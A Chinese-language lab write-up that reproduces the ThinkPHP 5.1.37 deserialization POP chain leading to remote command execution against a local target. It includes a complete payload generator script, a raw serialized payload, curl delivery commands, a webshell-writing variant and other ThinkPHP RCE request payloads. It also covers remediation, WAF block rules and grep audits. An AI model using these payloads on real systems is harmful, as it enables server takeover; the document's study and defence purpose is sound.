免责声明:本文仅用于本地自建靶场的漏洞原理学习与复现,所有操作均在 127.0.0.1 的隔离环境中完成,不涉及任何真实目标。
1. 漏洞背景
ThinkPHP 是国内使用量最大的 PHP 框架之一,5.1.x 是其生命周期最长、装机量最大的版本线。2019 年,安全研究员 Mochazz(ThinkPHP-Vuln 仓库)公开了 ThinkPHP 5.1.x 的反序列化利用链分析:当应用存在 unserialize() 用户可控输入的反序列化点时,攻击者无需任何已知口令或前置条件,即可通过精心构造的序列化对象一路触发魔术方法,最终抵达 call_user_func('system', ...) 实现远程命令执行(RCE)。
几个关键事实:
- 影响范围:ThinkPHP 5.1.x 全系。本文以 5.1.37 复现。
- 触发条件:只要代码中出现了对不可信数据的
unserialize()(例如把 GET/POST/cookie/缓存内容直接反序列化),漏洞即可触发。 - 平台无关:利用链中的
file_exists($object)、call_user_func等行为与操作系统无关,Windows 与 Unix 靶场均能触发(本文靶场就是 Windows + phpStudy 环境)。 - 性质:这是框架核心类(
think\process\pipes\Windows、think\Request、think\Model等)之间的魔术方法联动,属于”类库自带的可利用组件”,框架很难在不破坏兼容性的前提下整体移除,因此本质防御是杜绝反序列化不可信数据。
同一时期 ThinkPHP 还爆出过 _method=__construct&filter[]=system 风格的方法覆盖 RCE(5.0.x)、s=index/\think\app/invokefunction 路由 RCE(5.0.x / 5.1.x ≤ 5.1.30)等一揽子漏洞,本文只聚焦反序列化链这一支。
2. 反序列化基础
2.1 序列化与反序列化
PHP 的 serialize() 可以把任意对象拍平成字符串,unserialize() 再把它还原成对象:
$obj = new User('admin');
$s = serialize($obj); // O:4:"User":1:{s:4:"name";s:5:"admin";}
$obj2 = unserialize($s); // 还原
还原出来的对象和正常 new 的对象行为完全一致——包括触发它的魔术方法。危险就在这:序列化字符串完全由攻击者控制,攻击者可以把”任意类、任意属性值”的对象交给 unserialize() 还原。
2.2 魔术方法
PHP 在特定时机自动调用的方法称为魔术方法(magic methods),反序列化利用主要盯三个:
| 魔术方法 | 触发时机 | 利用价值 |
|---|---|---|
__destruct() | 对象被销毁(脚本结束 / 引用计数归零) | 反序列化后必然触发,POP 链最常用的起点 |
__wakeup() | unserialize() 还原对象时 | 反序列化入口的”第一脚”,可做前置控制 |
__toString() | 对象被当作字符串使用(如 file_exists($obj)、拼接) | 让”类型判断/文件操作”变成”方法调用”的桥 |
2.3 POP 链是什么
ROP(Return-Oriented Programming)是二进制利用里”借程序已有的指令片段拼出攻击逻辑”;POP(Property-Oriented Programming)是它的 PHP 版:不注入新代码,而是借应用/框架自己类库里已经存在的魔术方法和普通方法,通过精心设置的属性值,把一次 unserialize() 一路”调用”到危险函数。
构造 POP 链就是回答三个问题:
- 起点:反序列化后哪个
__destruct/__wakeup会先执行,且其行为可控? - 桥梁:怎么把对象传递链变成”字符串上下文”,触发
__toString并继续往下走? - 终点:哪个方法最终调用
call_user_func/eval等危险函数,参数又来自哪个可控属性?
ThinkPHP 5.1.37 的这条链,三个问题的答案分别是 Windows::__destruct、Model::__toString、Request::input。
3. 链分析:源码审计
以下源码均来自 thinkphp/library/think/(5.1.37 原版),行号为实测靶场中的真实行号。
3.1 起点:Windows::__destruct → removeFiles
think\process\pipes\Windows.php 是框架内部用于管理 Windows 管道进程的类,它的析构函数会清理临时文件:
// Windows.php:56-60
public function __destruct()
{
$this->close();
$this->removeFiles();
}
// Windows.php:160-168
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
}
注意 $this->files 是 private 属性,完全由序列化数据决定。如果我们让 files 数组的第一个元素不是字符串,而是一个 Model 对象,那么 file_exists($filename) 在 PHP 7 中会把对象强转为字符串——触发 __toString()。链被点燃了。
3.2 桥梁:Conversion::__toString → toArray → getAttr
think\model\concern\Conversion(Model 的转换 trait)定义了 __toString,它会尝试把模型转成 JSON:
// Conversion.php:238-241
public function __toString()
{
return $this->toJson();
}
// Conversion.php:222-225
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
toArray() 中有一段处理”追加关联对象”的逻辑(131-214 行,重点是 184-195 行),它会取出 $this->data[$key] 里存放的任意对象并调用它的 visible() 方法:
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象
$relation = $this->getRelation($key); // relation 属性为空 → false
if (!$relation) {
$relation = $this->getAttr($key); // Attribute trait: getAttr → getData → data[$key]
$relation->visible($name); // ← 对 data['x'] 里的对象调用 visible()
}
$item[$key] = $relation->append($name)->toArray();
}
// ...
}
}
这里 getAttr() 定义在 think\model\concern\Attribute trait 中,最终落到 getData() 返回 $this->data[$key]。于是我们控制三个 protected 属性:
append = ['x' => ['y']]—— 键x触发该分支;data = ['x' => Request对象]——getAttr('x')返回我们塞进去的 Request 对象;relation = []—— 让getRelation('x')返回 false,强制走getAttr分支。
关键跳跃:$relation->visible($name) —— Request 类没有 visible() 方法,会进入 Request::__call。
3.3 终点:Request::__call → isAjax → param → input → call_user_func
think\Request 是框架的请求封装类,它有一个”钩子”机制:不存在的魔法调用可以交给 $this->hook 数组里注册的 callable 处理:
// Request.php:327-335
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this); // 把 Request 自己塞到参数最前面
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
如果我们设置 hook = ['visible' => [$request, 'isAjax']],那么 visible($name) 会被转发成 $request->isAjax($request, $name)。为什么中间要绕 isAjax 而不是直接 hook['visible'] = [$request, 'input']?因为 __call 会 array_unshift 把 Request 对象塞进第一个参数,input() 的第一参数是 $data 数组,收到对象会直接报错;而 isAjax($ajax = false) 的第一个参数是”是否强制 Ajax 判断”的开关,传对象进来时 true === $ajax 不成立,会被忽略,函数继续往下走:
// Request.php:1640-1652
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result; // $ajax 是对象,跳过
}
$result = $this->param($this->config['var_ajax']) ? true : $result; // ← 进入 param
return $result;
}
param() 读取配置的键名(我们设 config['var_ajax'] = 'x'),合并请求变量后交给 input():
// Request.php:928-962
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true); // 读 server['REQUEST_METHOD'],需预置 'GET'
// ... 合并 get/post/route 到 $this->param
$this->mergeParam = true;
}
return $this->input($this->param, $name, $default, $filter); // input($param, 'x', null, '')
}
input() 里:getData($param, 'x') 取出 param['x'](我们设为要执行的命令 whoami),过滤器取 $this->filter(我们设为 system),最后:
// Request.php:1347+,filterValue 内部
$value = call_user_func($filter, $value); // call_user_func('system', 'whoami') 🎯
命令执行,回显输出。整条链收束。
3.4 关键类图
┌────────────────────────────────────────────────────────────────┐
│ think\process\pipes\Windows (private $files) │
│ __destruct() ──► removeFiles() ──► file_exists($files[0]) │
└──────────────────────────────┬─────────────────────────────────┘
│ $files[0] = Model 对象 → 强转字符串
▼
┌────────────────────────────────────────────────────────────────┐
│ think\Model (abstract,用 think\model\Pivot 实例化) │
│ trait Conversion::__toString ─► toJson ─► toArray() │
│ append['x']=['y'] 分支: getRelation 失败 → getAttr('x') │
│ (trait Attribute::getAttr ─► getData ─► data['x']) │
│ → data['x'] 是 Request 对象 → $relation->visible($name) │
└──────────────────────────────┬─────────────────────────────────┘
│ Request 无 visible() → __call
▼
┌────────────────────────────────────────────────────────────────┐
│ think\Request (hook / config / param / filter / server ...) │
│ __call('visible') ─► hook['visible']=[Request,'isAjax'] │
│ ─► isAjax($ajax=Request对象, 忽略) │
│ ─► param(config['var_ajax']='x') ─► input(param,'x') │
│ ─► getData → param['x']='whoami' │
│ ─► getFilter → filter='system' │
│ ─► filterValue ─► call_user_func('system','whoami') 🎯 RCE │
└────────────────────────────────────────────────────────────────┘
各环节关键类与方法速查:
| 环节 | 类 / Trait | 方法 | 文件(5.1.37) |
|---|---|---|---|
| 起点 | think\process\pipes\Windows | __destruct / removeFiles | thinkphp/library/think/process/pipes/Windows.php:56-60, 160-168 |
| 桥 1 | think\model\concern\Conversion | __toString / toJson / toArray | thinkphp/library/think/model/concern/Conversion.php:238-241, 222-225, 131-214 |
| 桥 2 | think\model\concern\Attribute | getAttr / getData | thinkphp/library/think/model/concern/Attribute.php |
| 转发 | think\Request | __call / isAjax / param / input | thinkphp/library/think/Request.php:327-335, 1640-1652, 928-962, 1347+ |
| 终点 | — | call_user_func($filter, $value) | Request::filterValue(input 内部) |
对象图(EXP 要设置的属性一览):
| 对象 | 属性(可见性) | 值 | 作用 |
|---|---|---|---|
Windows | files(private) | [Pivot对象] | 起点:__destruct 时触发 __toString |
Pivot(Model) | append(protected) | ['x' => ['y']] | 让 toArray 走进 184-195 分支 |
data(protected) | ['x' => Request对象] | getAttr('x') 返回 Request | |
relation(protected) | [] | 强制走 getAttr 分支 | |
visible / hidden(protected) | [] | 避免干扰 | |
Request | hook(protected) | ['visible' => [$request, 'isAjax']] | __call 转发到 isAjax |
config(protected) | ['var_ajax' => 'x'] | isAjax 取 param 键名 | |
param(protected) | ['x' => 'whoami'] | 要执行的命令 | |
filter(protected) | 'system' | 最终被 call_user_func 调用的函数 | |
server(protected) | ['REQUEST_METHOD' => 'GET', ...] | 让 method(true) / server() 正常返回 | |
get / route / mergeParam(protected) | [] / [] / false | param() 合并逻辑不报错、不走缓存分支 |
两个易错点:
- 不能用 trait 名直接做对象。
Conversion、Attribute是 trait,unserialize出”trait 名对象”是没有任何方法的假对象,__toString不会触发。必须用真实use了这些 trait 的类——think\model\Pivot(继承自think\Model)就是现成的。Model本身是 abstract,生成 payload 时无法new。- 为什么 hook 必须经
isAjax中转。__call会array_unshift($args, $this),若 hook 直接指向input/param,第一个参数会变成 Request 对象导致强转报错;isAjax的第一个参数是”是否强制判断”开关,对象传进来会被忽略,是干净的中转站(isPjax同理)。
4. EXP 构造
生成 payload 有两种姿势:
- 反射法:在靶场项目内
require框架,用ReflectionClass::newInstanceWithoutConstructor()绕过构造函数实例化真实类,设属性后serialize()。最稳,但要依赖靶场环境。 - 桩类法(本文采用):在独立 PHP 脚本里声明同名同命名空间、同属性可见性的”桩类”,PHP 序列化只关心”类名 + 属性名 + 可见性”,生成的字符串被目标端
unserialize时会还原成目标端真实的类,真实方法照常执行。桩类的属性可见性必须与真实类完全一致(protected→ 序列化名带\0*\0前缀,private→ 带\0类名\0前缀),否则属性名对不上,链直接断。
<?php
// exp_gen.php —— 生成 ThinkPHP 5.1.37 反序列化 payload(桩类法)
// 用法: php exp_gen.php "whoami" (第一个参数为要执行的命令)
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files) {
$this->files = $files; // 私有属性在类内部赋值
}
}
}
namespace think\model\concern {
trait Conversion {} // 占位 trait,仅为对齐真实类结构
trait Attribute {}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
// 与真实类一致的 protected 属性(5.1.37 实测)
protected $append = [];
protected $data = [];
protected $relation = [];
protected $visible = [];
protected $hidden = [];
// 供子类构造函数调用的注入点
protected function inject(array $append, array $data) {
$this->append = $append;
$this->data = $data;
$this->relation = [];
$this->visible = [];
$this->hidden = [];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
public function __construct($append, $data) {
$this->inject($append, $data); // 在子类内访问 protected 属性
}
}
}
namespace think {
class Request {
protected $hook = [];
protected $config = [];
protected $param = [];
protected $filter;
protected $server = [];
protected $get = [];
protected $route = [];
protected $mergeParam = false;
public function __construct($cmd, $filter = 'system') {
$this->hook = ['visible' => [$this, 'isAjax']]; // 自引用:同一实例
$this->config = ['var_ajax' => 'x'];
$this->param = ['x' => $cmd];
$this->filter = $filter; // system / exec / assert / phpinfo
$this->server = ['REQUEST_METHOD' => 'GET', 'HTTP_X_REQUESTED_WITH' => ''];
$this->get = [];
$this->route = [];
$this->mergeParam = false;
}
}
}
namespace {
use think\Request;
use think\model\Pivot;
use think\process\pipes\Windows;
$cmd = $argv[1] ?? 'whoami';
$request = new Request($cmd); // 1. Request:终点,hook 自引用
$pivot = new Pivot(['x' => ['y']], ['x' => $request]); // 2. Model:桥梁
$windows = new Windows([$pivot]); // 3. Windows:起点
$payload = serialize($windows);
echo "RAW: " . $payload . "\n\n";
echo "URL: " . urlencode($payload) . "\n";
}
执行:
php exp_gen.php "id"
输出示例(类名/属性名长度按字节精确计算,含 NUL 字节):
RAW: O:27:"think\process\pipes\Windows":1:{s:34:"\0think\process\pipes\Windows\0files";a:1:{i:0;O:17:"think\model\Pivot":5:{s:9:"\0*\0append";a:1:{s:1:"x";a:1:{i:0;s:1:"y";}}s:7:"\0*\0data";a:1:{s:1:"x";O:13:"think\Request":8:{s:7:"\0*\0hook";a:1:{s:7:"visible";a:2:{i:0;r:4;i:1;s:6:"isAjax";}}s:9:"\0*\0config";a:1:{s:8:"var_ajax";s:1:"x";}s:8:"\0*\0param";a:1:{s:1:"x";s:2:"id";}}s:11:"\0*\0filter";s:6:"system";s:9:"\0*\0server";a:2:{s:14:"REQUEST_METHOD";s:3:"GET";s:22:"HTTP_X_REQUESTED_WITH";s:0:"";}}s:11:"\0*\0relation";a:0:{}s:10:"\0*\0visible";a:0:{}s:9:"\0*\0hidden";a:0:{}}}
URL 编码后带 %00,用 curl / Python requests 直接传没问题(部分浏览器地址栏会吞 NUL 字节,用 --data-urlencode 或代码发送更稳)。
写 Shell 变体:把 filter 换成 assert,param['x'] 换成 assert 能执行的单行代码(如 file_put_contents('shell.php','<?php eval($_POST[1]);?>'));或直接用 system 执行 echo '<?php ...' > shell.php。命令执行能力到手后,写 shell 只是姿势问题。实战中更推荐 exec + 回显拼接,或带外(OOB)验证避免回显干扰。
5. 靶场验证
5.1 自建靶场
用 phpStudy 全家桶 5 分钟搭一个 ThinkPHP 5.1.37 靶场(本文环境:Windows + PHP 7.3.4 NTS):
# 1. composer 建项目(必须锁精确版本!5.1.* 通配会装到 5.1.42,链的行号/行为有差异)
# 且 composer 2.9+ 默认拦截已知漏洞包,先关掉审计拦截
composer config -g audit.block-insecure false
composer create-project "topthink/think:5.1.37" D:\phpstudy_pro\WWW\tpdemo5137 --no-dev -n
# 2. 允许 think-installer 插件
composer config allow-plugins.topthink/think-installer true
# 3. 控制器加反序列化入口(模拟真实世界最常见的错误写法)
# application/index/controller/Index.php
# public function index() {
# $u = isset($_GET['c']) ? unserialize($_GET['c']) : null; // 漏洞点
# return 'hhh';
# }
# 4. php.ini:把 system/exec 从 disable_functions 移除(phpStudy 默认禁用,会挡住 RCE 复现)
# 5. 启动(PATH 需能解析 php,think run 内部用 passthru 调裸 php 命令)
PATH="/d/phpstudy_pro/Extensions/php/php7.3.4nts:$PATH" php think run -H 127.0.0.1 -p 8000
靶场环境清单:
| 组件 | 值 |
|---|---|
| 框架 | topthink/think 5.1.37(composer 锁定) |
| PHP | 7.3.4 NTS(phpStudy) |
| 入口 | http://127.0.0.1:8000/index/index/index?c=<payload> |
| 漏洞点 | Index::index() 中 unserialize($_GET['c']) |
5.2 触发验证
第一步:先用最短 payload 验证 __destruct 真的被触发(只含 files 属性,指向一个不存在的文件,file_exists 返回 false 即结束,安全无副作用):
O:27:"think\process\pipes\Windows":1:{s:34:"\0think\process\pipes\Windows\0files";a:1:{i:0;s:20:"/tmp/hermes-test.txt";}}
请求后若 runtime/log/ 里出现 file_exists(/tmp/hermes-test.txt) 相关的调用记录,或下断点能命中 Windows.php:56,说明入口可用。注意:5.1 的 __destruct 在请求结束对象 GC 时触发,所以页面正常返回后析构才执行。
第二步:完整链打 RCE。用第 4 节的 exp_gen.php 生成 payload:
php exp_gen.php "whoami" > payload.txt
# 取 URL 编码行发送(curl 单引号包裹,避免 %00 被 shell 吞)
curl -s "http://127.0.0.1:8000/index/index/index?c=$(cat payload.txt | sed -n 's/^URL: //p')"
回显(Windows 靶场):
hhh
desktop-xxxx\18270
whoami 的输出出现在响应体里,说明 call_user_func('system', 'whoami') 已执行。再验证一个无回显副作用命令 ipconfig / Linux 上 id、uname -a,均可正常回显。
命令执行后的输出流向:system() 直接向标准输出打印 → 出现在 HTTP 响应体中;随后 toArray() 里 $relation->append($name)->toArray() 会因 Request 没有 append 钩子抛异常导致 500,但命令已执行、输出已回显,不影响利用。
5.3 同家族对比:_method=__construct 风格
ThinkPHP 5.0.x 还有一个广为人知的同家族利用(方法覆盖 RCE):
POST /index.php?s=/index/index/index HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&get[]=whoami
原理:Request::method() 读取 POST 中的 _method 并直接 $this->{$method}($_POST),传入 __construct 等于用 POST 参数重新初始化 Request 对象,filter[] 覆盖过滤器、get[] 成为参数,最后 param() → input() → call_user_func('system','whoami')。
注意:这个姿势在 5.1.37 上打不通——5.1.x 的 method() 对 _method 值做了白名单校验(只允许 get/post/put/patch/delete),__construct 会被拦下。5.1.x 同期能打的是 s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 路由型 RCE(5.1.31 修复)。所以 5.1.37 上真正好用的是本文这条反序列化链,两者一起掌握,遇到 ThinkPHP 老站就能按版本对症下药。
6. 修复建议
6.1 升级版本(治本)
- ThinkPHP 5.x 已停止安全维护(2021 年后不再有安全修复),任何 5.x 版本都不建议继续用于生产。
- 升级到 ThinkPHP 6.x / 8.x 最新版:框架重构后
Request::__call钩子机制、Windows管道类的魔术方法调用面等已大幅收窄,本条 POP 链失效。 - 升级注意:6.x 的骨架结构、配置项、ORM API 与 5.x 不兼容(
app\controller命名空间、无convention.php等),需要完整的回归测试;无法立即升级的,先做下面几项缓解。
6.2 代码层:禁止反序列化不可信输入(核心)
- 原则:
unserialize()的入参只允许来自”自己写的、签名校验过的数据”。永远不要直接反序列化 GET/POST/Cookie/请求头/第三方回调内容。 - 必须保留反序列化场景时的降级方案(PHP 7.0+):
// 只允许还原白名单类,其余一律变成 __PHP_Incomplete_Class
$data = unserialize($input, ['allowed_classes' => ['App\Cache\SessionBox']]);
// 更彻底:完全禁止类还原(纯数组场景)
$data = unserialize($input, ['allowed_classes' => false]);
- 能用 JSON 就别用 PHP 序列化:跨语言、无魔术方法风险,
json_decode+ 结构校验即可。 - 全局排查历史遗留点:
grep -rn "unserialize(" app/ --include="*.php"
grep -rn "unserialize(" vendor/ --include="*.php" | grep -v "allowed_classes"
重点盯缓存类(cache('xxx') 的序列化存取)、session 处理器、__wakeup 里做二次反序列化的组件、第三方 SDK 的”反序列化回显”接口。
6.3 WAF / 中间件规则(缓解)
WAF 对反序列化攻击的检测难点在于 payload 可以 URL 编码、base64、gzip 变形,规则只能”提高门槛、制造噪音”,不能当唯一防线:
# Nginx 层拦截示例(配合 lua/OpenResty 或 nginx-mod-security 更灵活)
# 1) 5.0.x 方法覆盖 RCE
if ($request_body ~* "_method[ ]*=[ ]*__construct") { return 403; }
# 2) filter 参数注入危险函数
if ($request_body ~* "filter\[\][ ]*=[ ]*(system|exec|assert|eval|passthru|shell_exec)") { return 403; }
# 3) 路由型 RCE(invokefunction / \think\ 直接路由)
if ($request_uri ~* "(invokefunction|\\think\\\\)") { return 403; }
# 4) 序列化对象特征(O:<数字>:"<类名> 出现在请求参数中)
if ($request_uri ~* "O:[0-9]+:\"[A-Za-z\\\\]") { return 403; }
商业 WAF(如雷池 SafeLine)可直接配置自定义规则,正则同上;并开启”请求体深度检测”,避免 %00、URL 编码绕过。注意:O: 特征规则对正常业务里合法传递序列化数据的接口有误报风险,建议按 URI 白名单收敛。
6.4 纵深防御
- 生产环境收紧
disable_functions:system, exec, shell_exec, passthru, popen, proc_open, eval 相关扩展,按业务实际放开(phpStudy 默认禁用列表就是好参考,别为了调试放开后忘记收回去)。 - 最小权限运行:Web 进程用低权限用户,站点目录不可写(写 shell 变体就废了一半)。
- 日志与监控:对
unserialize调用、call_user_func动态调用、file_put_contents写 PHP 文件等行为做审计告警;攻击链最终一定会留下whoami/id这类探测命令的访问日志,SIEM 里加”常见探测命令出现在 GET 参数”的规则,能显著缩短发现时间。
总结
ThinkPHP 5.1.x 反序列化链的复现路径清晰:Windows::__destruct(起点)→ file_exists 强转触发 Model::__toString(桥梁)→ Conversion::toArray 调用 data 中的对象方法 → Request::__call 钩子转发 → isAjax 中转 → param → input → call_user_func('system', $cmd)(终点)。整条链只用框架自带类,Windows/Linux 通杀,5.1.x 全系受影响。
对防御方来说,这条链真正可怕的地方在于:漏洞不在框架的某一个函数,而在”反序列化不可信输入”这个反模式本身。修好这个根因(升级 6.x/8.x + 禁用不可信反序列化 + allowed_classes 白名单),比堆十条 WAF 规则都管用。